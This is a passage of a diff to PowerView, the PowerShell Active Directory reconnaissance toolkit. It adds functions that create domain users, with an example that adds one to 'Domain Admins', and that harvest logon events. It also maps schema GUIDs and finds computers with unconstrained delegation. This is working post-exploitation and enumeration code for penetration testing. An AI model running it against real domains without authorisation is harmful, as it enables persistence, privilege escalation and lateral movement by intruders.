context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. - elseif($RDataType -eq 6) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' - } +.PARAMETER SamAccountName - elseif($RDataType -eq 12) { - $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $Ptr - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' - } +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. Mandatory. - elseif($RDataType -eq 13) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' - } +.PARAMETER AccountPassword - elseif($RDataType -eq 15) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' - } +Specifies the password for the created user. Mandatory. - elseif($RDataType -eq 16) { +.PARAMETER Name - [string]$TXT = "" - [int]$SegmentLength = $DNSRecord[24] - $Index = 25 - while ($SegmentLength-- -gt 0) { - $TXT += [char]$DNSRecord[$index++] - } +Specifies the name of the user to create. If not provided, defaults to SamAccountName. - $Data = $TXT - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' - } +.PARAMETER DisplayName - elseif($RDataType -eq 28) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' - } +Specifies the display name of the user to create. If not provided, defaults to SamAccountName. - elseif($RDataType -eq 33) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' - } +.PARAMETER Description - else { - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' - } +Specifies the description of the user to create. - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Data - $DNSRecordObject -} +.PARAMETER Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. -filter Get-DNSZone { -<# - .SYNOPSIS +.PARAMETER Credential - Enumerates the Active Directory DNS zones for a given domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Domain +.EXAMPLE - The domain to query for zones, defaults to the current domain. +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword - .PARAMETER DomainController +Creates the 'harmj0y2' user with the specified description and password. - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER PageSize +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred - The PageSize to set for the LDAP searcher object. +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred - .PARAMETER FullData +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. - Switch. Return full computer objects instead of just system names (the default). +.OUTPUTS - .EXAMPLE +DirectoryServices.AccountManagement.UserPrincipal - PS C:\> Get-DNSZone +.LINK - Retrieves the DNS zones for the current domain. +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> - .EXAMPLE + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, - PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, - Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries - through the primary.testlab.local domain controller. -#> + [ValidateNotNullOrEmpty()] + [String] + $Name, - param( - [Parameter(Position=0, ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] [String] - $Domain, + $DisplayName, + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $Description, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [ValidateNotNullOrEmpty()] + [String] + $Domain, [Management.Automation.PSCredential] - $Credential, - - [Switch] - $FullData + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential - $DNSSearcher.filter="(objectClass=dnsZone)" + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties - $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + if ($Context) { + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) - if ($FullData) { - $Properties - } - else { - $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged - } - } - $Results.dispose() - $DNSSearcher.dispose() - } + # set all the appropriate user parameters + $User.SamAccountName = $Context.Identity + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + $User.Enabled = $True + $User.PasswordNotRequired = $False - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher.filter="(objectClass=dnsZone)" + if ($PSBoundParameters['Name']) { + $User.Name = $Name + } + else { + $User.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $User.DisplayName = $DisplayName + } + else { + $User.DisplayName = $Context.Identity + } - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties - $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + if ($PSBoundParameters['Description']) { + $User.Description = $Description + } - if ($FullData) { - $Properties - } - else { - $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged - } + Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" + try { + $Null = $User.Save() + Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" + $User + } + catch { + Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" } - $Results.dispose() - $DNSSearcher.dispose() } } -filter Get-DNSRecord { +function Get-DomainUserEvent { <# - .SYNOPSIS +.SYNOPSIS + +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +.PARAMETER ComputerName + +Specifies the computer name to retrieve events from, default of localhost. + +.PARAMETER StartTime - Enumerates the Active Directory DNS records for a given zone. +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). - .PARAMETER ZoneName +.PARAMETER EndTime - The zone to query for records (which can be enumearted with Get-DNSZone). Required. +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. - .PARAMETER Domain +.PARAMETER MaxEvents - The domain to query for zones, defaults to the current domain. +The maximum number of events to retrieve. Default of 5000. - .PARAMETER DomainController +.PARAMETER Credential - Domain controller to reflect LDAP queries through. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Get-DomainUserEvent - .PARAMETER Credential +Return logon events on the local machine. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) - PS C:\> Get-DNSRecord -ZoneName testlab.local +Return all logon events from the last 3 days from every domain controller in the current domain. - Retrieve all records for the testlab.local zone. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 - PS C:\> Get-DNSZone | Get-DNSRecord +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. - Retrieve all records for all zones in the current domain. +.OUTPUTS - .EXAMPLE +PowerView.LogonEvent - PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local +PowerView.ExplicitCredentialLogonEvent - Retrieve all records for all zones in the dev.testlab.local domain. +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> - param( - [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] - [String] - $ZoneName, + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogonEvent')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, - [String] - $Domain, + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), - [String] - $DomainController, + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, - [ValidateRange(1,10000)] + [ValidateRange(1, 1000000)] [Int] - $PageSize = 200, + $MaxEvents = 5000, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" - $DNSSearcher.filter="(objectClass=dnsNode)" + BEGIN { + # the XML filter we're passing to Get-WinEvent + $XPathFilter = @" + + + + + + + + + + + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and + (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) + ] + ] + and + *[ + EventData[ + ( + (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') + or + Data[@Name='TargetUserName']='ANONYMOUS LOGON' + or + Data[@Name='TargetUserSID']='S-1-5-18' + ) + ] + ] + + + +"@ + $EventArguments = @{ + 'FilterXPath' = $XPathFilter + 'LogName' = 'Security' + 'MaxEvents' = $MaxEvents + } + if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } + } - if($DNSSearcher) { - $Results = $DNSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - try { - # convert/process the LDAP fields for each result - $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged - $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName + PROCESS { + ForEach ($Computer in $ComputerName) { - # convert the record and extract the properties - if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { - # TODO: handle multiple nested records properly? - $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0] - } - else { - $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord - } + $EventArguments['ComputerName'] = $Computer + + Get-WinEvent @EventArguments| ForEach-Object { + $Event = $_ + $Properties = $Event.Properties + Switch ($Event.Id) { + # logon event + 4624 { + # skip computer logons, for now... + if(-not $Properties[5].Value.EndsWith('$')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + TargetUserSid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonId = $Properties[7].Value + LogonType = $Properties[8].Value + LogonProcessName = $Properties[9].Value + AuthenticationPackageName = $Properties[10].Value + WorkstationName = $Properties[11].Value + LogonGuid = $Properties[12].Value + TransmittedServices = $Properties[13].Value + LmPackageName = $Properties[14].Value + KeyLength = $Properties[15].Value + ProcessId = $Properties[16].Value + ProcessName = $Properties[17].Value + IpAddress = $Properties[18].Value + IpPort = $Properties[19].Value + ImpersonationLevel = $Properties[20].Value + RestrictedAdminMode = $Properties[21].Value + TargetOutboundUserName = $Properties[22].Value + TargetOutboundDomainName = $Properties[23].Value + VirtualAccount = $Properties[24].Value + TargetLinkedLogonId = $Properties[25].Value + ElevatedToken = $Properties[26].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') + $Output + } + } - if($Record) { - $Record.psobject.properties | ForEach-Object { - $Properties | Add-Member NoteProperty $_.Name $_.Value + # logon with explicit credential + 4648 { + # skip computer logons, for now... + if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + LogonGuid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonGuid = $Properties[7].Value + TargetServerName = $Properties[8].Value + TargetInfo = $Properties[9].Value + ProcessId = $Properties[10].Value + ProcessName = $Properties[11].Value + IpAddress = $Properties[12].Value + IpPort = $Properties[13].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') + $Output + } + } + default { + Write-Warning "No handler exists for event ID: $($Event.Id)" } } - - $Properties - } - catch { - Write-Warning "ERROR: $_" - $Properties } } - $Results.dispose() - $DNSSearcher.dispose() } } -filter Get-NetDomain { +function Get-DomainGUIDMap { <# - .SYNOPSIS +.SYNOPSIS - Returns a given domain object. +Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. - .PARAMETER Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest - The domain name to query for, defaults to the current domain. +.DESCRIPTION - .PARAMETER Credential +Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for +all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. +Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) +for objects where objectClass=controlAccessRight, translating the GUIDs again. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx - .EXAMPLE +.PARAMETER Domain - PS C:\> Get-NetDomain -Domain testlab.local +Specifies the domain to use for the query, defaults to the current domain. - .EXAMPLE +.PARAMETER Server - PS C:\> "testlab.local" | Get-NetDomain +Specifies an Active Directory server (domain controller) to bind to. - .LINK - - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG -#> +.PARAMETER ResultPageSize - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Domain, +Specifies the PageSize to set for the LDAP searcher object. - [Management.Automation.PSCredential] - $Credential - ) +.PARAMETER ServerTimeLimit - if($Credential) { - - Write-Verbose "Using alternate credentials for Get-NetDomain" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - if(!$Domain) { - # if no domain is supplied, extract the logon domain from the PSCredential passed - $Domain = $Credential.GetNetworkCredential().Domain - Write-Verbose "Extracted domain '$Domain' from -Credential" - } - - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) - - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch { - Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." - $Null - } - } - elseif($Domain) { - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch { - Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} +.PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. -filter Get-NetForest { -<# - .SYNOPSIS +.OUTPUTS - Returns a given forest object. +Hashtable - .PARAMETER Forest +Ouputs a hashtable containing a GUID -> Readable Name mapping. - The forest name to query for, defaults to the current domain. +.LINK - .PARAMETER Credential +http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Domain, - .EXAMPLE - - PS C:\> Get-NetForest -Forest external.domain + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - .EXAMPLE - - PS C:\> "external.domain" | Get-NetForest -#> + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Forest, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($Credential) { - - Write-Verbose "Using alternate credentials for Get-NetForest" + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $ForestArguments = @{} + if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } - if(!$Forest) { - # if no domain is supplied, extract the logon domain from the PSCredential passed - $Forest = $Credential.GetNetworkCredential().Domain - Write-Verbose "Extracted domain '$Forest' from -Credential" - } - - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) - + try { + $SchemaPath = (Get-Forest @ForestArguments).schema.name + } + catch { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + if (-not $SchemaPath) { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + + $SearcherArguments = @{ + 'SearchBase' = $SchemaPath + 'LDAPFilter' = '(schemaIDGUID=*)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SchemaSearcher = Get-DomainSearcher @SearcherArguments + + if ($SchemaSearcher) { try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + try { $Results.dispose() } catch {} + $SchemaSearcher.dispose() } catch { - Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." - $Null + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } - elseif($Forest) { - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + + $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') + $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $RightsSearcher = Get-DomainSearcher @SearcherArguments + + if ($RightsSearcher) { try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + try { $Results.dispose() } catch {} + $RightsSearcher.dispose() } catch { - Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." - return $Null + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } - else { - # otherwise use the current forest - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - } - if($ForestObject) { - # get the SID of the forest root - $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value - $Parts = $ForestSid -Split "-" - $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" - $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid - $ForestObject - } + $GUIDs } -filter Get-NetForestDomain { +function Get-DomainComputer { <# - .SYNOPSIS - - Return all domains for a given forest. - - .PARAMETER Forest +.SYNOPSIS - The forest name to query domain for. +Return all computers or specific computer objects in AD. - .PARAMETER Credential +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.DESCRIPTION - .EXAMPLE +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties samaccountname,usnchanged,...". By default, all computer objects for +the current domain are returned. - PS C:\> Get-NetForestDomain +.PARAMETER Identity - .EXAMPLE +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. - PS C:\> Get-NetForestDomain -Forest external.local -#> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Forest, +.PARAMETER Unconstrained - [Management.Automation.PSCredential] - $Credential - ) +Switch. Return computer objects that have unconstrained delegation. - $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential +.PARAMETER TrustedToAuth - if($ForestObject) { - $ForestObject.Domains - } -} +Switch. Return computer objects that are trusted to authenticate for other principals. +.PARAMETER Printers -filter Get-NetForestCatalog { -<# - .SYNOPSIS +Switch. Return only printers. - Return all global catalogs for a given forest. +.PARAMETER SPN - .PARAMETER Forest +Return computers with a specific service principal name, wildcards accepted. - The forest name to query domain for. +.PARAMETER OperatingSystem - .PARAMETER Credential +Return computers with a specific operating system, wildcards accepted. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER ServicePack - .EXAMPLE +Return computers with a specific service pack, wildcards accepted. - PS C:\> Get-NetForestCatalog -#> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Forest, +.PARAMETER SiteName - [Management.Automation.PSCredential] - $Credential - ) +Return computers in the specific AD Site name, wildcards accepted. - $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential +.PARAMETER Ping - if($ForestObject) { - $ForestObject.FindAllGlobalCatalogs() - } -} +Switch. Ping each host to ensure it's up before enumerating. +.PARAMETER Domain -filter Get-NetDomainController { -<# - .SYNOPSIS +Specifies the domain to use for the query, defaults to the current domain. - Return the current domain controllers for the active domain. +.PARAMETER LDAPFilter - .PARAMETER Domain +Specifies an LDAP query string that is used to filter Active Directory objects. - The domain to query for domain controllers, defaults to the current domain. +.PARAMETER Properties - .PARAMETER DomainController +Specifies the properties of the output object to retrieve from the server. - Domain controller to reflect LDAP queries through. +.PARAMETER SearchBase - .PARAMETER LDAP +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - Switch. Use LDAP queries to determine the domain controllers. +.PARAMETER Server - .PARAMETER Credential +Specifies an Active Directory server (domain controller) to bind to. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER SearchScope - .EXAMPLE +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - PS C:\> Get-NetDomainController -Domain 'test.local' - - Determine the domain controllers for 'test.local'. +.PARAMETER ResultPageSize - .EXAMPLE +Specifies the PageSize to set for the LDAP searcher object. - PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP +.PARAMETER ServerTimeLimit - Determine the domain controllers for 'test.local' using LDAP queries. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .EXAMPLE +.PARAMETER SecurityMasks - PS C:\> 'test.local' | Get-NetDomainController +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - Determine the domain controllers for 'test.local'. -#> +.PARAMETER Tombstone - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Domain, +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - [String] - $DomainController, +.PARAMETER FindOne - [Switch] - $LDAP, +Only return one result object. - [Management.Automation.PSCredential] - $Credential - ) +.PARAMETER Credential - if($LDAP -or $DomainController) { - # filter string to return all domain controllers - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' - } - else { - $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { - $Founddomain.DomainControllers - } - } -} +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +.PARAMETER Raw -######################################################## -# -# "net *" replacements and other fun start below -# -######################################################## +Switch. Return raw results instead of translating the fields into a custom PSObject. -function Get-NetUser { -<# - .SYNOPSIS +.EXAMPLE - Query information for a given user or users in the domain - using ADSI and LDAP. Another -Domain can be specified to - query for users across a trust. - Replacement for "net users /domain" +Get-DomainComputer - .PARAMETER UserName +Returns the current computers in current domain. - Username filter string, wildcards accepted. +.EXAMPLE - .PARAMETER Domain +Get-DomainComputer -SPN mssql* -Domain testlab.local - The domain to query for users, defaults to the current domain. +Returns all MS SQL servers in the testlab.local domain. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained - .PARAMETER ADSpath +Search the specified OU for computeres that allow unconstrained delegation. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.EXAMPLE - .PARAMETER Filter +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred - A customized ldap filter string to use, e.g. "(description=*admin*)" +.OUTPUTS - .PARAMETER AdminCount +PowerView.Computer - Switch. Return users with adminCount=1. +Custom PSObject with translated computer property fields. - .PARAMETER SPN +PowerView.Computer.Raw - Switch. Only return user objects with non-null service principal names. +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> - .PARAMETER Unconstrained + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, - Switch. Return users that have unconstrained delegation. + [Switch] + $Unconstrained, - .PARAMETER AllowDelegation + [Switch] + $TrustedToAuth, - Switch. Return user accounts that are not marked as 